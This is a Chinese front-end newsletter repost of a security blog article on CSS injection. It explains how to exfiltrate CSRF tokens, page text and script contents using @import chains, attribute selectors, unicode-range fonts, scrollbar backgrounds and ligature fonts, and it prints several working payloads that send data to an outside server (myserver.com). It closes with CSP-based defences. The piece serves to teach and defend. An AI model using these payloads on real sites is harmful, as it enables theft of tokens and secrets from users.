【第2751期】用 CSS 来偷数据 - CSS injection（下）

前言

昨天文末留的几个问题，今天来答案了。今日前端早读课文章由 @huli 授权分享。

正文从这开始～～

在上一篇面，我们知道了基本的 CSS 偷数据原理，并且以 HackMD 作为实际案例示范，成功偷到了 CSRF token，而这篇则是要深入去看 CSS injection 的一些细节，解決以下问题：

• HackMD 因为可以及时同步內容，所以不需要重新整理就可以加载新的 style，那其他网站呢？该怎么偷到第二个以后的字符？

• 一次只能偷一个字符的话，是不是要偷很久呢？这在实际上可行吗？

• 有沒有办法偷到属性以外的东西？例如说页面上的文字內容，或甚至是 JavaScript 的代码？

• 针对这个攻击手法的防御方式有哪些？

偷到所有字符

在上篇里面我们有提到，我们想偷的数据有可能只要重新整理以后就会改变（如 CSRF token），所以我们必须在不重新整理的情况之下加载新的 style。

上一篇里面之所以做得到，是因为 HackMD 本身就是一个标榜即时更新的文件，但如果是一般的网页呢？在不能用 JavaScript 的情况下，该如何不断动态载入新的 style？

有关于这个问题，在 CSS Injection Attacks 这份简报里面给出了解答：@import。

在 CSS 里面，你可以用 @import 去把外部的其他 style 引入进来，就像 JavaScript 的 import 那样。

我们可以利用这个功能做出引入 style 的回圈，如下面的代码：

@import url(https://myserver.com/start?len=8)

接着，在 server 回传如下的 style：

 @import url(https://myserver.com/payload?len=1)
 @import url(https://myserver.com/payload?len=2)
 @import url(https://myserver.com/payload?len=3)
 @import url(https://myserver.com/payload?len=4)
 @import url(https://myserver.com/payload?len=5)
 @import url(https://myserver.com/payload?len=6)
 @import url(https://myserver.com/payload?len=7)
 @import url(https://myserver.com/payload?len=8)

重点来了，这边虽然一次引入了 8 个，但是 “后面 7 个 request，server 都会先 hang 住，不会给 response”，只有第一个网址 https://myserver.com/payload?len=1 会回传 response，内容为之前提过的偷资料 payload：

 input[name="secret"][value^="a"] {
   background: url(https://b.myserver.com/leak?q=a)
 }

 input[name="secret"][value^="b"] {
   background: url(https://b.myserver.com/leak?q=b)
 }

 input[name="secret"][value^="c"] {
   background: url(https://b.myserver.com/leak?q=c)
 }

 //....

 input[name="secret"][value^="z"] {
   background: url(https://b.myserver.com/leak?q=z)
 }

当浏览器收到 response 的时候，就会先载入上面这一段 CSS，载入完以后符合条件的元素就会发 request 到后端，假设第一个字是 d 好了，接著 server 这时候才回传 https://myserver.com/payload?len=2 的 response，内容为：

 input[name="secret"][value^="da"] {
   background: url(https://b.myserver.com/leak?q=da)
 }

 input[name="secret"][value^="db"] {
   background: url(https://b.myserver.com/leak?q=db)
 }

 input[name="secret"][value^="dc"] {
   background: url(https://b.myserver.com/leak?q=dc)
 }

 //....

 input[name="secret"][value^="dz"] {
   background: url(https://b.myserver.com/leak?q=dz)
 }

以此类推，只要不断重复这些步骤，就可以把所有字符都传到 server 去，靠的就是 import 会先载入已经下载好的 resource，然后去等待还没下载好的特性。

这边有一点要特别注意，你会发现我们载入 style 的 domain 是 myserver.com，而背景图片的 domain 是 b.myserver.com，这是因为浏览器通常对于一个 domain 能同时载入的 request 有数量上的限制，所以如果你全部都是用 myserver.com 的话，会发现背景图片的 request 送不出去，都被 CSS import 给卡住了。

因此需要设置两个 domain，来避免这种状况。

除此之外，上面这种方式在 Firefox 是行不通的，因为在 Firefox 上就算第一个的 response 先回来，也不会立刻更新 style，要等所有 request 都回来才会一起更新。解法的话可以参考这一篇：CSS data exfiltration in Firefox via a single injection point，把第一步的 import 拿掉，然后每一个字符的 import 都用额外的 style 包着，像这样：

 <style>@import url(https://myserver.com/payload?len=1)</style>
 <style>@import url(https://myserver.com/payload?len=2)</style>
 <style>@import url(https://myserver.com/payload?len=3)</style>
 <style>@import url(https://myserver.com/payload?len=4)</style>
 <style>@import url(https://myserver.com/payload?len=5)</style>
 <style>@import url(https://myserver.com/payload?len=6)</style>
 <style>@import url(https://myserver.com/payload?len=7)</style>
 <style>@import url(https://myserver.com/payload?len=8)</style>

而上面这样 Chrome 也是没问题的，所以统一改成上面这样，就可以同时支持两种浏览器了。

总结一下，只要用 @import 这个 CSS 的功能，就可以做到 “不重新载入页面，但可以动态载入新的 style”，进而偷取后面的每一个字符。

一次偷一个字符，太慢了吧？

若是想要在现实世界中执行这种攻击，效率可能要再更好一点。以 HackMD 为例，CSRF token 总共有 36 个字，所以就要发 36 个 request，确实是太多了点。

事实上，我们一次可以偷两个字符，因为上集有讲过除了 prefix selector 以外，也有 suffix selector，所以可以像这样：

 input[name="secret"][value^="a"] {
   background: url(https://b.myserver.com/leak?q=a)
 }

 input[name="secret"][value^="b"] {
   background: url(https://b.myserver.com/leak?q=b)
 }

 // ...
 input[name="secret"][value$="a"] {
   border-background: url(https://b.myserver2.com/suffix?q=a)
 }

 input[name="secret"][value$="b"] {
   border-background: url(https://b.myserver2.com/suffix?q=b)
 }

除了偷开头以外，我们也偷结尾，效率立刻变成两倍。要特别注意的是开头跟结尾的 CSS，一个用的是 background，另一个用的是 border-background，是不同的属性，因为如果用同一个属性的话，内容就会被其他的盖掉，最后只会发出一个 request。

若是内容可能出现的字符不多，例如说 16 个的话，那我们可以直接一次偷两个开头加上两个结尾，总共的 CSS rule 数量为 16*16*2 = 512 个，应该还在可以接受的范围内，就能够再加速两倍。

除此之外，也可以朝 server 那边去改善，例如说改用 HTTP/2 或甚至是 HTTP/3，都有机会能够加速 request 载入的速度，进而提升效率。

偷其他东西

除了偷属性之外，有没有办法偷到其他东西？例如说，页面上的其他文字？或甚至是 script 里面的代码？

根据我们在上一篇里面讲的原理，是做不到的。因为能偷到属性是因为 “属性选择器” 这个东西，才让我们选到特定的元素，而在 CSS 里面，并没有可以选择 “内文” 的选择器。

因此，我们需要对 CSS 以及网页上的样式有更深入的理解，才有办法达成这件看似不可能的任务。

unicode-range

在 CSS 里面，有一个属性叫做 unicode-range，可以针对不同的字符，载入不同的字体。像是底下这个从 MDN 拿来的范例：

 <!DOCTYPE html>
 <html>
   <body>
     <style>
       @font-face {
         font-family: "Ampersand";
         src: local("Times New Roman");
         unicode-range: U+26;
       }

       div {
         font-size: 4em;
         font-family: Ampersand, Helvetica, sans-serif;
       }
     </style>
     <div>Me & You = Us</div>
   </body>
 </html>

& 的 unicode 是 U+0026，因此只有 & 这个字会用不同的字体来显示，其他都用同一个字体。

这招前端工程师可能有用过，例如说英文跟中文如果要用不同字体来显示，就很适合用这一招。而这招也可以用来偷取页面上的文字，像这样：

 <!DOCTYPE html>
 <html>
   <body>
     <style>
       @font-face {
         font-family: "f1";
         src: url(https://myserver.com?q=1);
         unicode-range: U+31;
       }

       @font-face {
         font-family: "f2";
         src: url(https://myserver.com?q=2);
         unicode-range: U+32;
       }

       @font-face {
         font-family: "f3";
         src: url(https://myserver.com?q=3);
         unicode-range: U+33;
       }

       @font-face {
         font-family: "fa";
         src: url(https://myserver.com?q=a);
         unicode-range: U+61;
       }

       @font-face {
         font-family: "fb";
         src: url(https://myserver.com?q=b);
         unicode-range: U+62;
       }

       @font-face {
         font-family: "fc";
         src: url(https://myserver.com?q=c);
         unicode-range: U+63;
       }

       div {
         font-size: 4em;
         font-family: f1, f2, f3, fa, fb, fc;
       }
     </style>
     Secret: <div>ca31a</div>
   </body>
 </html>

如果你去看 network tab，会看到一共发送了 4 个 request：

藉由这招，我们可以得知页面上有：13ac 这四个字符。

而这招的局限之处也很明显，就是：

• 我们不知道字符的顺序为何

• 重复的字符也不会知道

但是从 “载入字体” 的角度下去思考怎么偷到字符，着实带给了许多人一个新的思考方式，并发展出各式各样其他的方法。

字体高度差异 + first-line + scrollbar

这招要解决的主要是上一招碰到的问题：“没办法知道字元顺序”，然后这招结合了很多细节，步骤很多，要仔细听了。

首先，我们其实可以不载入外部字体，用内置的字体就能 leak 出字符。这要怎么做到呢？我们要先找出两组内置字体，高度会不同。

例如有一个叫做 “Comic Sans MS” 的字体，高度就比另一个 “Courier New” 高。

举个例子，假设预设字体的高度是 30px，而 Comic Sans MS 是 45px 好了。那现在我们把文字区块的高度设成 40px，并且载入字体，像这样：

 <!DOCTYPE html>
 <html>
   <body>
     <style>
       @font-face {
         font-family: "fa";
         src:local('Comic Sans MS');
         font-style:monospace;
         unicode-range: U+41;
       }
       div {
         font-size: 30px;
         height: 40px;
         width: 100px;
         font-family: fa, "Courier New";
         letter-spacing: 0px;
         word-break: break-all;
         overflow-y: auto;
         overflow-x: hidden;
       }

     </style>
     Secret: <div>DBC</div>
     <div>ABC</div>
   </body>
 </html>

就会在画面上看到差异：

很明显 A 比其他字符的高度都高，而且根据我们的 CSS 设定，如果内容高度超过容器高度，会出现 scrollbar。虽然上面是截图看不出来，但是下面的 ABC 有出现 scrollbar，而上面的 DBC 没有。

再者，我们其实可以帮 scrollbar 设定一个外部的背景：

 div::-webkit-scrollbar {
     background: blue;
 }

 div::-webkit-scrollbar:vertical {
     background: url(https://myserver.com?q=a);
 }

也就是说，如果 scrollbar 有出现，我们的 server 就会收到 request。如果 scrollbar 没出现，就不会收到 request。

更进一步来说，当我把 div 套用 “fa” 字体时，如果画面上有 A，就会出现 scrollbar，server 就会收到 request。如果画面上没有 A，就什么事情都不会发生。

因此，我如果一直重复载入不同字体，那我在 server 就能知道画面上有什么字符，这点跟刚刚我们用 unicode-range 能做到的事情是一样的。

那要怎么解决顺序的问题呢？

我们可以先把 div 的宽度缩减到只能显示一个字符，这样其他字符就会被放到第二行去，再搭配 ::first-line 这个 selector，就可以特别针对第一行做样式的调整，像是这样：

 <!DOCTYPE html>
 <html>
   <body>
     <style>
       @font-face {
         font-family: "fa";
         src:local('Comic Sans MS');
         font-style:monospace;
         unicode-range: U+41;
       }
       div {
         font-size: 0px;
         height: 40px;
         width: 20px;
         font-family: fa, "Courier New";
         letter-spacing: 0px;
         word-break: break-all;
         overflow-y: auto;
         overflow-x: hidden;
       }

       div::first-line{
         font-size: 30px;
       }

     </style>
     Secret: <div>CBAD</div>
   </body>
 </html>

页面上你就只会看到一个 “C” 的字符，因为我们先用 font-size: 0px 把所有字符的尺寸都设为 0，再用 div::first-line 去做调整，让第一行的 font-size 变成 30px。换句话说，只有第一行的字元能看到，而现在的 div 宽度只有 20px，所以只会出现第一个字符。

接着，我们再运用刚刚学会的那招，去载入看看不同的字体。当我载入 fa 这个字体时，因为画面上没有出现 A，所以不会有任何变化。但是当我载入 fc 这个字体时，画面上有 C，所以就会用 Comic Sans MS 来显示 C，高度就会变高，scrollbar 就会出现，就可以利用它来发出 request，像这样：

 div {
   font-size: 0px;
   height: 40px;
   width: 20px;
   font-family: fc, "Courier New";
   letter-spacing: 0px;
   word-break: break-all;
   overflow-y: auto;
   overflow-x: hidden;
   --leak: url(http://myserver.com?C);
 }

 div::first-line{
   font-size: 30px;
 }

 div::-webkit-scrollbar {
   background: blue;
 }

 div::-webkit-scrollbar:vertical {
   background: var(--leak);
 }

那我们要怎么样不断使用新的 font-family 呢？用 CSS animation 就可以做到，你可以用 CSS animation 不断载入不同的 font-family 以及指定不同的 –leak 变量。

如此一来，我们就能知道画面上的第一个字符到底是什么。

知道了第一个字符以后，我们把 div 的宽度变长，例如说变成 40px，就能容纳两个字符，因此第一行就会是前两个字，接着再用一样的方式载入不同的 font-family，就能 leak 出第二个字符，详细流程如下：

• 假设页面上是 ACB

• 调整宽度为 20px，第一行只出现第一个字符 A

• 载入字体 fa，因此 A 用较高的字体显示，出现 scrollbar，载入 scrollbar 背景，传送 request 给 server

• 载入字体 fb，但是 B 没有出现在画面上，因此没有任何变化。

• 载入字体 fc，但是 C 没有出现在画面上，因此没有任何变化。

• 调整宽度为 40px，第一行出现两个字符 AC

• 载入字体 fa，因此 A 用较高的字体显示，出现 scrollbar，此时应该是因为这个背景已经载入过，所以不会发送新的 request

• 载入字体 fb，没出现在画面上，没任何变化

• 载入字体 fc，C 用较高的字体显示，出现 scrollbar 并且载入背景

• 调整宽度为 60px，ACB 三个字元都出现在第一行

• 载入字体 fa，同第七步

• 载入字体 fb，B 用较高的字体显示，出现 scrollbar 并且载入背景

• 载入字体 fc，C 用较高的字体显示，但因为已经载入过相同背景，不会发送 request

• 结束

从上面流程中可以看出 server 会依序收到 A, C, B 三个 reqeust，代表了画面上字符的顺序。而不断改变宽度以及 font-family 都可以用 CSS animation 做到。

想要看完整 demo 的可以看这个网页（出处：What can we do with single CSS injection?）：https://demo.vwzq.net/css2.html

这个解法虽然解决了 “不知道字元顺序” 的问题，但依然无法解决重复字符的问题，因为重复的字符不会再发出 request。

大绝招：ligature + scrollbar

先讲结论，这一招可以解决上面所有问题，达成 “知道字符顺序，也知道重复字符” 的目标，能够偷到完整的文字。

要理解怎么偷之前，我们要先知道一个专有名词，叫做连字（ligature），在某些字型当中，会把一些特定的组合 render 成连在一起的样子，如下图（来源：wikipedia）：

那这个对我们有什么帮助呢？

我们可以自己制作出一个独特的字体，把 ab 设定成连字，并且 render 出一个超宽的元素。接着，我们把某个 div 宽度设成固定，然后结合刚刚 scrollbar 那招，也就是：“如果 ab 有出现，就会变很宽，scrollbar 就会出现，就可以载入 request 告诉 server；如果没出现，那 scrollbar 就不会出现，没有任何事情发生”。

流程是这样的，假设页面上有 acc 这三个字：

• 载入有连字 aa 的字体，没事发生

• 载入有连字 ab 的字体，没事发生

• 载入有连字 ac 的字体，成功 render 超宽的画面，scrollbar 出现，载入 server 图片

• server 知道页面上有 ac

• 载入有连字 aca 的字体，没事发生

• 载入有连字 acb 的字体，没事发生

• 载入有连字 acc 的字体，成功 render，scrollbar 出现，传送结果给 server

• server 知道页面上有 acc

• 透过连字结合 scrollbar，我们可以一个字符一个字符，慢慢 leak 出页面上所有的字，甚至连 JavaScript 的代码都可以！

你知道，script 的内容是可以显示在页面上的吗？

 head, script {
   display: block;
 }

只要加上这个 CSS，就可以让 script 内容也显示在画面上，因此我们也可以利用同样的技巧，偷到 script 的内容！

在实战上的话，你可以用 SVG 搭配其他工具，在 server 端迅速产生字体，想要看细节以及相关代码的话，可以参考这篇：.

而这边我就简单做个简化到不行的 demo，来证明这件事情是可行的。为了简化，有人做了一个 Safari 版本的 demo，因为 Safari 支持 SVG font，所以不需要再从 server 产生字型，原始文章在这裡：Data Exfiltration via CSS + SVG Font - PoC (Safari only)

简易版 demo：

 <!DOCTYPE html>
 <html lang="en">
 <body>
   <script>
     var secret = "abc123"
   </script>
   <hr>
   <script>
     var secret2 = "cba321"
   </script>
   <svg>
     <defs>
     <font horiz-adv-x="0">
       <font-face font-family="hack" units-per-em="1000" />
         <glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
       </font>
     </defs>
   </svg>
   <style>
     script {
       display: block;
       font-family:"hack";
       white-space:n owrap;
       overflow-x: auto;
       width: 500px;
       background:lightblue;
     }

     script::-webkit-scrollbar {
       background: blue;
     }

   </style>
 </body>
 </html>

我用 script 放了两段 JS，里面内容分别是 var secret = "abc123" 跟 var secret2 = "cba321"，接着利用 CSS 载入我准备好的字体，只要有 "a 的连字，就会宽度超宽。

再来如果 scrollbar 有出现，我把背景设成蓝色的，比较显眼，最后的结果如下：

上面因为内容是 var secret = "abc123"，所以符合了 "a 的连字，因此宽度变宽，scrollbar 出现。

下面因为没有 a，所以 scrollbar 没出现（有 a 的地方都会缺字，应该跟我没有定义其他的 glyph 有关，但不影响结果）

只要把 scrollbar 的背景换成 URL，就可以从 server 端知道 leak 的结果。

如果想看实际的 demo 跟 server 端的写法，可以参考上面附的那两篇文章。

防御方式

最后我们来讲一下防御方式，最简单明了的当然就是直接把 style 封起来不给用，基本上就不会有 CSS injection 的问题（除非操作方式有漏洞）。

如果真的要开放 style，也可以用 CSP 来阻挡一些资源的载入，例如说 font-src 就没有必要全开，style-src 也可以设置 allow list，就能够挡住 @import 这个语法。

再来，也可以考虑到 “如果页面上的东西被拿走，会发生什么事情”，例如说 CSRF token 被拿走，最坏就是 CSRF，此时就可以实作更多的防护去阻挡 CSRF，就算攻击者取得了 CSRF token，也没办法 CSRF（例如说多检查 origin header 之类的）。

总结

CSS 果真博大精深，真的很佩服这些前辈们可以把 CSS 玩出这么多花样，发展出这麽多令人眼界大开的攻击手法。当初在研究的时候，利用属性选择器去 leak 这个我可以理解，用 unicode-range 我也能理解，但是那个用文字高度加上 CSS animation 去变化的，我花了不少时间才搞懂那在干嘛，连字那个虽然概念好懂，但真的要实作还是会碰到不少问题。

最后，这两篇文章主要算是介绍一下 CSS injection 这个攻击手法，因此实际的代码并不多，而这些攻击手法都参考自前人们的文章，列表我会附在下面，有兴趣的话可以阅读原文，会讲得更详细一点。

参考资料：

• CSS Injection Attacks

• CSS Injection Primitives

• HackTricks - CSS Injection

• Stealing Data in Great style – How to Use CSS to Attack Web Application.

• Data Exfiltration via CSS + SVG Font

• Data Exfiltration via CSS + SVG Font - PoC (Safari only)

• CSS data exfiltration in Firefox via a single injection point

关于本文
作者：@huli
原文：https://blog.huli.tw/2022/09/29/css-injection-2/

关于【CSS】相关推荐，欢迎读者自荐投稿，前端早读课等你来。+v：zhgb_f2er

【第2700期】动画合成小技巧！CSS 实现动感的倒计时效果

【第2684期】CSS Houdini 实现磁吸效果